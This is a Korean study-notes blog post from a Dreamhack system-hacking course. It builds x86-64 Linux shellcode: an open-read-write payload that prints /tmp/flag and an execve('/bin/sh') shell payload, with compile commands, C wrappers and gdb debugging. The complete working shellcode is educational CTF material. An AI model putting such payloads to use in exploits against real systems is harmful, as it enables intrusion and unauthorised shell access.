셸코드(Shellcode)

셸코드는 익스플로잇을 위해서 사용하는 어셈블리 코드 조각으로

셸을 획득하기 위해 셸코드를 사용한다는 점에서 셸이라는 접두사가 붙었다.

 

rip를 인위적으로 해커가 작성한 셸코드로 옮기게 되면 해커가 원하는 어셈블리 코드가 실행된다.

이때 어셈블리어는 기계어와 대부분 일대일 대응관계이므로 원하는 모든 명령을 CPU에 내릴 수 있다.

 

셸코드는 어셈블리어로 구성되기 때문에 일반적으로 아키텍처와 운영체제에 따라서 다르게 작성된다.

아키텍처별로 자주 사용되는 셸코드를 공유하는 사이트도 있으나 본인의 현재 메모리 상태를 반영하지는 않기 때문에 스스로 상황에 맞는 코드를 작성할 수 있어야 한다.

 

 

 

 

 

orw 셸코드

orw셸코드는 파일을 열고 읽어서 화면에 출력해주는 셸코드이다.

“/tmp/flag”를 읽는 셸코드를 작성해보자.

 

먼저 C언어로 작성하면 아래와 같다.

char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);

 

여기서 사용되는 syscall은 다음과 같다.

 

이제 어셈블리 코드를 한 줄씩 만들어보자.

 

 

 

1. int fd = open("/tmp/flag", O_RDONLY, NULL)

메모리에 "/tmp/flag"를 위치시키기 위해 스택에 0x616c662f706d742f67(/tmp/flag)을 push한다.

rdi가 "/tmp/flag"를 가르키도록 rsp를 rdi로 mov한다.

O_RDONLY는 0이므로, rsi는 0으로 설정한다.

파일을 읽을 때 mode는 의미를 갖지 않기 때문에 rdx는 0으로 설정한다.

마지막으로 syscall은 open이므로 rax는 2로 설정한다.

 

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

 

 

 

 

 

2. read(fd, buf, 0x30)

syscall의 반환값은 rax에 자동 저장된다. 따라서 open("/tmp/flag", O_RDONLY, NULL) 결과값은 rax에 있다.

rdi에는 fd 값이 필요하므로 rax를 rdi에 대입한다.

 

rsi는 파일에서 읽은 데이터를 저장할 메모리 주소를 나타낸다. 0x30크기 만큼 읽을 거기 때문에 rsi에 rsi-0x30을 대입한다.rdx는 파일로부터 읽어올 문자열의 크기인 0x30을 대입한다.마지막으로 syscall은 read이므로 rax를 0으로 설정한다.

 

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

 

 

 

 

 

 

3. write(1, buf, 0x30)

아까 buf에 저장한 값을 화면에 출력해야 한다.

따라서 rdi는 stdout을 나타내는 0x1로 설정하고,

rsi와 rdx는 read에서 사용했던 값을 그대로 사용하면 된다.

(read로 읽어온 값을 화면에 출력하기 위해)

마지막으로 write를 호출하기 위해 rax를 0x01로 설정한다.

 

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

 

구현

;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

 

 

 

orw 셸코드 컴파일 및 실행

각 운영체제는 실행 가능한 파일의 형태를 규정하고 있다.

윈도우는 EP, 리눅스는 ELF가 대표적인 예이다.

ELF는 헤더, 코드, 기타 데이터 영역으로 나누어지는데

헤더는 파일 실행에 필요한 정보가 들어있고, 코드는 CPU가 이해할 수 있는 기계어 코드가 들어있다.

 

위에서 작성한 어셈블리 코드는 기계어로 치환할 수 있으나 ELF형식이 아니다.

그러나 gcc 컴파일을 이용하면 ELF 형식으로 변환할 수 있다.

 

 

 

컴파일

드림핵은 셸코드를 실행할 수 있는 스켈레톤 코드를 C로 작성해서 셸코드를 탑재하는 방식으로 컴파일했다.

여기서 스켈레톤 코드란 기본적인 구조만 갖추고 핵심 내용이 비어있는 코드를 말한다.

 

 

 

orw.S

;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");
void run_sh();
int main() { run_sh(); }

 

 

 

실행

셸코드 실행을 확인하기 위해 /tmp/flag 파일을 생성한다.

 

그 후 드림핵에 제시된 옵션을 달아서 gcc 컴파일 해준 후 실행시켰더니 아래처럼 flag가 제대로 출력된 것을 확인할 수 있었다.

 

그런데 /tmp/flag 외에도 뒤에 다른 문자열이 출력된 것을 볼 수 있다.

orw 셸코드를 디버깅해서 해당 문자열 출력의 원인을 알아보자.

 

 

 

 

 

orw 셸코드 디버깅

orw를 gdb로 열고, run_sh()함수에 브레이크 포인트를 설정한다.

 

그 다음 run 명령어로 코드를 실행시키면 브레이크 포인트를 걸었던 run_sh에 rip가 위치하는 것을 알 수 있다.

 

 

 

1. int fd = open(“/tmp/flag”, O_RDONLY, NULL)

첫 번째 syscall 전까지 실행한 후 인자를 살펴보자.

pwndbg플러그인은 syscall을 호출할 때, 인자를 분석해준다.

rip가 가르키는 곳을 보면 우리가 의도한대로 open(“/tmp/flag”, O_RDONLY, NULL)가 실행되었음을 알 수 있다.

 

 

 

open 시스템 콜을 수행한 결과로 /tmp/flag의 fd(3)가 rax에 저장된다.

(syscall의 수행 결과는 rax에 저장되기 때문)

 

 

 

2.read(fd, buf, 0x30)

똑같이 두 번째 syscall 실행전까지 실행 후 인자를 살펴보자.

"/tmp/flag" fd(3)에서 데이터를 0x30만큼 읽어와 0x7fffffffdfa8에 저장한다.

 

 

 

read syscall을 실행한 후 실행 결과를 x/s로 확인해보자.

buf(0x7fffffffdfa8)에 /tmp/flag 문자열이 저장된 것을 확인할 수 있다.

 

 

 

3. write(1, buf, 0x20)    -> ?? 오타일까....

마지막으로 읽어낸 데이터를 출력하는 write 시스템 콜을 실행한다.

데이터를 저장한 0x7fffffffdfa8에서 48바이트를 출력한다.

flag{this_is_open_read_write_shellcode}
pFUUUU

 

 

 

/tmp/flag 외의 다른 문자열이 출력되는 것은 초기화되지 않은 메모리를 사용했기 때문이다.

 

 

 

buf에 값이 어떻게 변하는지 다시 확인해보기 위해 read 시스템 콜을 실행한 직후로 가보자.

0x7fffffffdfa8에서 앞 40바이트는 /tmp/flag로 추가한 문자열이고 뒤의 8바이트는 원래 메모리에 남아있던 쓰레기 값이다.

이때 쓰레기 값을 잘 보면 어셈블리 코드의 주소와 비슷한 것을 알 수 있다.

이렇게 중요한 값을 유출해 내는 것을 메모리 릭(Memory Leak)이라고 부른다.

이 메모리 릭은 앞으로 소개될 보호기법들을 무력화 하는 핵심 역햘을 한다고 한다.

 

 

 

 

 

execve 셸코드

쉘이란 운영체제에게 명령을 내리기 위한 사용자 인터페이스로 셸을 획득하게 되면 시스템을 제어할 수 있다.

따라서 통상적으로 셸 획득을 시스템 해킹의 성공으로 여긴다.

 

최신 리눅스는 대부분 sh, bash 셸을 탑재하고 있으며 현재 실습 환경인 Ubuntu 18.04에도 /bin/sh이 있으므로

해당 셸을 실행하는 execve 코드를 작성해보자.

 

 

 

execve(“/bin/sh”, null, null)

execve 셸코드는 execve 시스템 콜만으로 구성된다.

argv는 실행파일에 넘겨줄 인자, envp는 환경변수인데 지금은 /bin/sh만 실행시켜줄 것이므로 둘 다 null로 설정하면 된다.

즉 셸을 획득하려면 execve("/bin/sh", null, null)을 실행하는 것을 목표로 셸 코드를 작성하면 된다.

 

;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

"/bin/sh"  →  0x2f62696e2f7368

메모리에 값이 리틀 엔디안(Little-endian) 방식으로 저장되기 때문에 0x68732f6e69622f을 스택에 넣는다.

 

 

 

execve 셸코드 컴파일 및 실행

스켈레톤 코드를 이용하여 execve 셸코드를 컴파일

// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
    
void run_sh();
int main() { run_sh(); }

 

execve 파일 실행 결과 /bin/sh이 실행되었다.

 

 

 

execve 셸코드 디버깅

orw 셸코드를 디버깅한 것과 동일한 방식으로 진행하면 된다.

run_sh()에 브레이크 포인트를 걸고 실행시켜보자.

 

그 후 첫 번째 syscall이 실행되기 전까지 실행시키자.

첫 번째 syscall이 execve이며 "/bin/sh"가 실행하고자 하는 파일임을 알 수 있다.

나머지 argv와 envp는 null이기 때문에 execve(“/bin/sh”, NULL, NULL)가 실행되었음을 알 수 있다.

 

 

 

리뷰 퀴즈

 

 

 

- 정리

orw 셸코드는 파일을 읽어올 때 사용

execve 셸코드는 파일을 실행할 때 사용

 

fd(file descriptor) 인자

stdin 0
stdout 1
stderr 2

 

 

 

 

 

'Study > System Hacking' 카테고리의 다른 글

[dreamhack] Background: Calling Convention  (0) 2022.05.04
[dreamhack] shell_basic  (1) 2022.04.04
[dreamhack] Tool: pwntools  (0) 2022.03.27
[dreamhack] Tool: gdb  (0) 2022.03.26
[dreamhack] x86 Assembly  (0) 2022.03.26
복사했습니다!